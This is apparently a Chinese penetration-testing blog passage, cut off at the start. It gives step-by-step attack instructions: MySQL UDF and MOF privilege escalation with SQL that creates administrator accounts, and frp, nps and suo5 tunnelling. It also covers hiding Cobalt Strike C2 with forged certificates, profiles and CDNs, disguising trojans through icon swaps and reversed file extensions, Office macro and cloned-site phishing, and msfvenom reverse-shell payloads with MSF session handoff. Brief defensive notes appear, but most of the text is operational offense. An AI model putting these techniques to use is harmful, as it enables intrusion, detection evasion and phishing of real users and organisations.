    /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。
    如果允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

六、密码复用提权

我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码,或者该参考该密码命名规则。那么就可以尝试一下 su root 来提权了。

数据库提权到操作系统

攻击者如果获取了通过数据库root权限,是可以通过提权,获取操作系统最高权限的。

Mysql数据库提权

如何获取mysql账号密码

当通过webshell进入服务器后,怎么得到数据库的账号密码呢

  1. 查看网站配置文件。

    如:conn、config、data、sql、common 、inc等。

  2. 查看数据库物理路径下的user表文件
    目录为/data/mysql/user.myd和user.myi
    密码是加密的,需要再次进行破解

  3. 通过暴力破解得到(hscan、Bruter、hydra、脚本木马)
    如果对外开放3306,即允许远程连接,可以远程爆破
    补充:mysql开启root账号远程访问

    1
    2
    mysql> GRANT ALL PRIVILEGES ON*.*TO root@"\%"IDENTIFIED BY"root";
    mysql> flush privileges;

利用UDF自身提权


  1. 原理
    UDF提权是利用MYSQL的Create Function语句,将MYSQL账号转化为系统system权限。
  2. 利用条件
    • 目标系统是Windows(Win2000,XP,Win2003)
    • 已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数
    • 有root账号和密码

利用方式A

  1. 使用工具“mysql综合利用工具”连接
    填写地址、root账号、密码后进行连接

    mark

  2. 导入udf.dll文件
    连接成功后,导出DLL文件,导入时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),否则在下一步操作中你会看到”No paths allowed for shared library”错误。

    1
    2
    3
    4
    5
    6
    7
    8
    #不同版本mysql,udf.dll存放路径不同
    #Mysql版本大于5.1版本。
    xx\\mysql\\lib\\plugin\\udf.dll 文件夹下。
    #Mysql5.1版本默认路径。
    C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll
    #Mysql版本小于5.1版本。
    Windows2003下放置于c:\\windows\\system32\\udf.dll
    windows2000下放置于c:\\winnt\\system32\\udf.dll

一般Lib、Plugin文件夹需要在webshell先手工建立(也可用NTFS ADS流模式突破进而创建文件夹)

1
2
```sql
#查找到mysql的目录后

select @@basedir;

1
#利用NTFS ADS创建lib目录

select ‘It is dll’ into dumpfile ‘C:\ProgramFiles\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION’;

1
2
3
#利用NTFS ADS创建plugin目录
select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
```
  1. UDF提权常用命令:

    1
    2
    3
    4
    5
    6
    7
    #创建cmdshell函数,如果用3389就需要创建open3389函数,具体有哪些函数看帮助
    create function cmdshell returns string soname 'udf.dll';
    #创建好函数后,用函数执行系统命令
    select cmdshell('net user');
    select open3389();
    drop function cmdshell; 删除函数
    delete from mysql.func where name='cmdshell' 删除函数

    使用完成后你可能需要删除在第二步中导出的DLL,但在删除DLL前请先删除你在第三步中创建的函数,否则删除操作将失败,删除第三步中创建的函数的SQL语句为:drop function 创建的函数名;

利用方式B

UDF脚本提权,当mysql不能远程连接时,可以上传udf脚本至对方主机,然后通过webshell的方式进行连接操作。

利用mof提权

MOF漏洞工具与脚本实战:http://www.myhack58.com/Article/html/3/8/2013/38264.htm

  1. 原理
    在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要将要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
  2. 利用条件
    • mysql用户具有root权限
    • 且可以复制文件到c:/windows/system32/wbem/mof/目录下
    • 关闭了secure-file-priv

利用方式1
通过工具如“mysql综合利用工具”直接提取,输入账户密码连接数据库后可直接输入系统命令,创建账号。

利用方式2

通过上传mof文件,然后在sql中运行的方式

  1. 找个可写目录,上传mof文件

    假设上传的目录为文件夹C:\\wmpub\\moon.mof
    该mof文件,已经写死了要创建的账号密码等信息

  2. 执行sql,转移文件到系统目录,等待创建新账号

    1
    select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
  3. 执行完后,验证账号
    在webshell里执行使用net user查看是否多了一个admin用户,如果有则说明可以利用,否则就不需要继续了,注意新建的帐号每隔5分钟就会新建帐号,删除帐号的办法参考上文链接

通过Mysql把文件写入启动项

  1. 通过mysql数据库命令写入VBS脚本;

    1
    2
    3
    4
    5
    6
    7
    8
    mysql>drop database test1;
    mysql> create database test1;
    mysql> use test1;
    mysql> create table a (cmd text);
    mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
    mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
    mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
    #注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序
1
2
3
4
2. 直接通过Webshell的Mysql写入启动项;
```sql
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs";
  1. 通过MS12-020、MS15-034重启服务器。
    服务器down机后,管理员会重启,重启后我们就能得到新建的管理员账号了

微软Mssql提权

mssql提权主要分为弱口令与溢出两类提权。目前主要通过弱口令连接直接提权,溢出类Mssql数据库几乎很少见(sqlserver2000之后就几乎没有了)。

通过漏洞拉到webshell之后,找到网站配置文件,里面有sa权限的账号密码,配置文件为asp或者aspx网站一般使用微软自带数据库,这个提权没有sa权限是不能做的,mssql一般是允许远程连接的,系统库是master。
有了sa密码直接利用sqltools工具就可以了

如何通过Oracle提权

Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,aspx网站默认需要提权。

提权方法参考:http://blog.csdn.net/sezvboyrul/article/details/2855401,工具为`oracleshell`

数据库安全防范

  1. 限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。
  2. 不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。
  3. 及时升级数据库补丁。
  4. 安装Waf进行防御。
  5. 购买数据库审计设备

数据库脱库

工具脱库

通过百度查找Navicat Mysql、Navicat for SQL Server、Navicat for Oracle、Navicat for PostgreSQL、Navicat for SQLite等,也可以使用其它工具代替,如sqlmap、k8等类似工具。
优点: 支持面广,功能强大,速度度、稳定
缺点: 不能支持外链

脚本脱库

通过百度查找ASP、PHP、JSP脱库脚本等类似工具。
优点: 解决不外链的情况
缺点: 速度慢、不够稳定

站点打包

通过百度查找ASP、PHP、JSP脚本打包程序等类似工具。
asp+access源码和数据库是可以一起打包,其它类型数据库,库与源码是单独分开的。

内网穿透

【蓝队技能】【内网隧道工具流量分析】FRP&NPS&reGeorg&Venom_frp流量分析-CSDN博客

nps逆向穿透

项目地址:https://github.com/ehang-io/nps/releases

实验架构图

image-20250302205921712

1、nps配置(双网卡主机)

1
2
3
4
5
6
7
8
9
#安装相关依赖(需要管理员权限)
C:\neiwang\windows_amd64_server\nps.exe install

#启动nps服务(需要管理员权限)
C:\neiwang\windows_amd64_server\nps.exe start


http://192.168.138.132:8080/login/index
账号 admin 密码 123

image-20250302210807232

端口映射

创建隧道实现内网PC机的端口映射

image-20250302212344121

image-20250302213050580

2、npc配置

1
2
#客户端开启服务
./npc.exe -server=192.168.138.132:8024 -vkey=123456 -type=tcp
image-20250302213155368

image-20250302213443822

使用外网服务器远程连接192.168.138.132:8022端口

image-20250302213323169

流量转发

nps创建socks代理

image-20250302213652535

使用Proxifier代理

创建代理服务器

image-20250302214052182

创建代理服务器

启动代理规则

image-20250302214709180

配置当访问192.168.50.0-192.168.50.255使用代理服务器

image-20250302220122380使用本机测试是否能ping通

image-20250302220025607

但是无法ping通C主机。

image-20250302220342320

验证成功!

frp反向代理穿透

GitHub:https://github.com/fatedier/frp/releases

image-20250302205921712

1、服务端配置

1
2
3
4
5
6
7
[common]
bind_port = 7000
token = 123456
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin
enable_prometheus = true

启动frpc(不同操作系统,配置文件不同)

frps.exe -c frps.toml

访问http://192.168.138.132:7500/

image-20250302222451071

2、客户端配置

将frpc.exe和frpc.toml上传到客户端

修改frpc.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 客户端配置
[common]
server_addr = 服务器ip
# 与frps.ini的bind_port⼀致
server_port = 7000
# 与frps.ini的token⼀致
token = 123456
# 配置ssh服务
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
# 这个⾃定义,之后再ssh连接的时候要⽤
remote_port = 6000
#rdp配置远程连接
[rdp]
type = tcp
local_ip = 127.0.0.1
local_port =3389
remote_port = 7002
# 配置http服务,可⽤于⼩程序开发、远程调试等,如果没有可以不写下⾯的
[web]
type = http
local_ip = 127.0.0.1
local_port = 8080
# web域名
subdomain = test.hijk.pw
# ⾃定义的远程服务器端⼝,例如8080
remote_port = 8080

上⾯frpc.ini的rdp字段都是⾃⼰定义的规则,⾃定义端⼝对应时格式如下。

1
2
3
4
5
6
7
[xxx]”表示⼀个规则名称,⾃⼰定义,便于查询即可。

“type”表示转发的协议类型,有TCP和UDP等选项可以选择,如有需要请⾃⾏查询frp⼿册。

“local_port”是本地应⽤的端⼝号,按照实际应⽤⼯作在本机的端⼝号填写即可。

“remote_port”是该条规则在服务端开放的端⼝号,⾃⼰填写并记录即可。

RDP

1
2
即Remote Desktop 远程桌⾯,Windows的RDP默认端⼝是3389,协议为TCP,建议使⽤frp远程
连接前,在局域⽹中测试好,能够成功连接后再使⽤frp穿透连接。

配置完成frpc.ini后,就可以运⾏frpc了,注意防⽕墙要放⾏remote_port端⼝

在cs的输⼊beacon命令启动客户端

cd C:frp

shell frpc.exe -c frpc.ini

启动后服务器端操作界⾯会回显⼀个连接

image-20250302224813994

此时可以在局域⽹外使⽤相应程序访问 x.x.x.x:xxxx (IP为VPS的IP,端⼝为⾃定义的remote_port)即

可访问到相应服务

使⽤远程桌⾯进⾏连接

image-20250302224842021

客户端后台运⾏及开机⾃启

frpc运⾏时始终有⼀个命令⾏窗⼝运⾏在前台,影响美观,我们可以使⽤⼀个批处理⽂件来将其运⾏在

后台,⽽且可以双击执⾏,每次打开frpc不⽤再⾃⼰输命令了。

在任何⼀个⽬录下新建⼀个⽂本⽂件并将其重命名为“frpc.bat”,编辑,粘贴如下内容并保存。

1
2
3
4
5
6
7
8
9
@echo off
if "\%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""\%~nx0"" h",0)
(window.close)&&exit
:begin
REM
cd C:\frp
frpc -c frpc.ini
exit

将cd后的路径更改为你的frpc实际存放的⽬录。

1
2
3
4
5
之后直接运⾏这个 .bat ⽂件即可启动frpc并隐藏窗⼝(可在任务管理器中退出)。
⾄于开机启动,把这个 .bat ⽂件直接扔进Windows的开机启动⽂件夹就好了 :)
⾄此,客户端配置完成,之后就是你⾃⼰根据需要在frpc.ini后追加规则即可。
强烈建议你在使⽤frp直接测试内⽹穿透前,先在局域⽹内测试好相关功能的正常使⽤,并配置好可
能会影响的Windows防⽕墙等内容,在内⽹调试通过后再使⽤frp进⾏内⽹穿透测试。

frp+proxifier实现内网socks5反向代理 - 枕桃花吹长笛 - 博客园

正向代理穿透

需要将恶意文件上传到服务端

suo5/assets at main · zema1/suo5

针对不同的前端页面上传不同的恶意文件

image-20250303101252469

使用链接工具进行连接

image-20250303102504174

非图形化命令

1
$ ./suo5 -t https://example.com/proxy.jsp -l 127.0.0.1:1111 

使用proxifier或者使用火狐配置代理端口即可使用

渗透测试工具

Cobalt Striket提权工具

介绍:CobaltStrike集成了端口转发、服务扫描、自动化溢出、多模式端口监听、Windows exe木马生成、Windows dll木马生成、Java木马生成、Office 宏病毒生成、木马捆绑浏览器自动攻击等强大的功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受黑客喜爱。

项目地址:https://www.cobaltstrike.com

CS流量隐藏

一、HTTP/HTTPS 流量特征

​ 默认证书特征

​ 默认使用自签名SSL证书,证书信息包含固定字段: CN=Major Cobalt Strike、Alias name: cobaltstrike。

​ 检测建议:检查TLS证书的Subject和Issuer字段,匹配固定关键字。

​ URI路径的checksum8规则

​ Stager下载Stage时,HTTP请求路径需满足 ASCII码之和 % 256 = 92(如 /Yle2、/cKTZ)。

​ 检测建议:对URI路径动态计算checksum8值,匹配结果为92的请求。

​ 心跳包特征

​ Beacon与C2的HTTP心跳包间隔固定(默认60秒),上下行数据长度固定。

​ 检测建议:分析流量中周期性固定长度的GET/POST请求。

​ HTTP头异常

​ 默认配置中Cookie字段携带Base64加密的元数据,且User-Agent可能固定(旧版本)或随机但无浏览器特征。

​ 检测建议:检查Cookie字段是否包含Base64编码的异常数据。

二、DNS 流量特征

​ 异常DNS查询

​ DNS Beacon使用 www.、api.、post. 等前缀发起A/TXT记录查询。

​ 响应结果包含非常规IP(如 0.0.0.0、0.0.0.241)。

​ 检测建议:监控异常DNS查询模式及非标准响应IP。

​ TXT记录载荷传输

​ 使用TXT记录传输加密后的指令或数据,查询内容包含长随机字符串。

​ 检测建议:分析TXT记录长度和频率,匹配加密数据特征。

三、强特征(需源码级修改)

​ JA3/JA3S指纹

​ TLS握手阶段的Client Hello(JA3)和Server Hello(JA3S)存在固定哈希值(如 72a589da586844d7f0818ce684948eea)。

​ 检测建议:提取TLS握手阶段的JA3/JA3S哈希值进行匹配。 Stager响应特征 即使修改URI路径,默认仍响应符合checksum8规则的请求(如访问任意路径返回Stage)。

​ 检测建议:对未配置的URI路径返回210KB左右数据的服务器进行标记。

修改证书特征值

1、cobalt strike 默认的证书存在cobalt strike 的指纹信息。需要keytool (Java数据证书的管理工具) 修改证书信息,创建新的cobaltstrike.store。

1
keytool.exe -keystore test.store -storepass test2025 -keypass test2025 -genkey -keyalg RSA -alias test.com -dname "CN=test e-Szigno Root CA, OU=e-Szigno CA, O=test Ltd., L=Budapest, ST=HU, C=HU"

ps:推荐在cs文件夹下运行该命令

2、使用github中其他流量的特征值

地址:https://github.com/xx0hcd/Malleable-C2-Profiles

我们就用office365_calendar.profile来举例

我们要修改的是此文件中用到我们刚刚生成证书的信息(配置文件没有,需要手动添加信息)

https-certificate {

​ set CN “test e-Szigno Root CA”;

​ set O “test Ltd”;

​ set C “HU”;

​ set L “US”;

​ set OU “e-Szigno CA”;

​ set ST “HU”;

​ set validity “365”;

}

#设置,修改成你的证书名称和证书密码

code-signer{

​ set keystore “test.store”;

​ set password “test2025”;

​ set alias “test.com”;

}

3、最后我们将这2个文件同时放到vps上启动

./teamserver ip 密码 office365_calendar.profile

可以修改./teamserver 端口实现敏感端口绕过

CDN接入

使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP

1、开启一个listen

​ NAME:随便填写
​ Payload:选择Beacon http
​ HTTP hosts:写入自己的域名
​ HTTP host(Stager):写入自己的域名
​ HTTP Port(C2):写入8880端口,可以访问到的都可以。
​ HTTP header:写入自己的域名

需要配置域名,然后免费申请CDN

内网神器Cobalt Strike隐藏特征与流量混淆._cobaltstrike cdn-CSDN博客

工具使用

服务端启动

服务端一般部署在云主机Linux操作系统中

服务端启动(基于Java环境需要安装jdk)本次运行环境为Linux。切换到程序目录,运行程序+真实IP+密码

1
2
3
4
5
#赋予执行权限
chmod +x teamserver
chmod +x TeamServerImage

./teamserver 192.168.138.129 geekgold

客户端启动

注意:需要保持服务端和客户端的版本一致

EXE可执行文件

1、创建监听器

2、生成木马

将文件保存到桌面即可

3、通过钓鱼、社工的方式将可执行exe文件发送至靶机,并诱导点击

木马隐藏(压缩法)

1、设置为压缩文件

设置文件自解压至指定文件夹(尽量选择用户含有的文件夹)

先解压外壳文件QQ的安装软件,然后运行木马文件

隐藏文件

2、使用Restorator2018,将QQ安装包,以及EXE文件拖到程序里

这里可以看到压缩之后的文件,图标发生了改变,需要将图标进行替换

别忘记crtl+s保存,使之生效

双击测试:

上线成功

文件反转法

通过将EXE文件后缀反转的方式,隐藏exe后缀

将文件命名为cmdgpj.exe

在线生成图标:https://www.bitbug.net/

打开Resource Hacker工具,在file中open打开exe木马文件,选择上传图标,crtl+s保存

生成图标

诱导点击使之上线

office宏钓鱼

首先cs生成宏

img

选择复制

img

新建一个word

打开Word文档,点击 “Word 选项 — 自定义功能区 — 开发者工具(勾选) — 确定” 。

img

编写主体内容后,点击 “开发工具 — Visual Basic”,双击 “ThisDocument”
,将原有内容全部清空,然后将宏payload全部粘贴进去,保存并关闭该 VBA 编辑器 。

img

另存为

img

克隆网站钓鱼

示例页面:网页游戏平台_精品手游_一起玩更快乐-9377网页游戏

使用cs克隆网站登录页面

获得attack url:http://192.168.138.129:81/

诱导用户点击

查看weblog记录

MSF联动

CS Server端和CS Client端工具开启方式直接略过

CS反弹shell到MSF

参考资料:https://blog.csdn.net/Zlirving_/article/details/113862910

先建立监听器

上线

img

Msf进入监听模块

​ use exploit/multi/handler

​ set payload windows/meterpreter/reverse_http

​ set lhost 192.168.0.109

​ set lport 8011

​ Exploit

CS添加监听器

img

右键上线的主机,增加会话

img

或者直接spawn cs-msf(监听器名称)

img

Msf的联动成功

MSF反弹shell到CS

msf制作木马进行上线

​ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f exe -o msf.exe

进入msf监听模块

​ use exploit/multi/handler

设置payload反弹shell(使用和木马相同的payload)

​ set payload windows/meterpreter/reverse_tcp

设置LHOST、LPORT参数

​ set LHOST 192.168.31.24(本地IP)

​ set LPORT 4444(设置的端口)

​ show options

开始攻击

img

后台运行

img

启动CS并创建监听器

img

MSF上使用payload_inject模块

​ use exploit/windows/local/payload_inject //使用该模块可以将 Metasploit 获取到的会话注入到CS中

​ set payload windows/meterpreter/reverse_http //和cs监听器保持一致

​ set prependmigrate true

​ set DisablePayloadHandler true //用来禁用 Metasploit payload handler的监听 因为要监听到cs上

​ set lhost 192.168.0.109 //CS的IP

​ set lport 1111 //CS上的listen端口

​ set session 7 //要转发的session

img

Run

img

防御措施

看到报警平台报警存在外连,可能是通过cs工具外连解决思路:

当CS配置了域前置,通过ping或者查看外连端口的IP,放到危险报警平台分析,通常会显示正常的CDN服务器,将CDN所在的服务厂商直接封禁掉,或者直接把他的域名禁止掉。

注意:进程号是rundll32.exe,可能是远控端口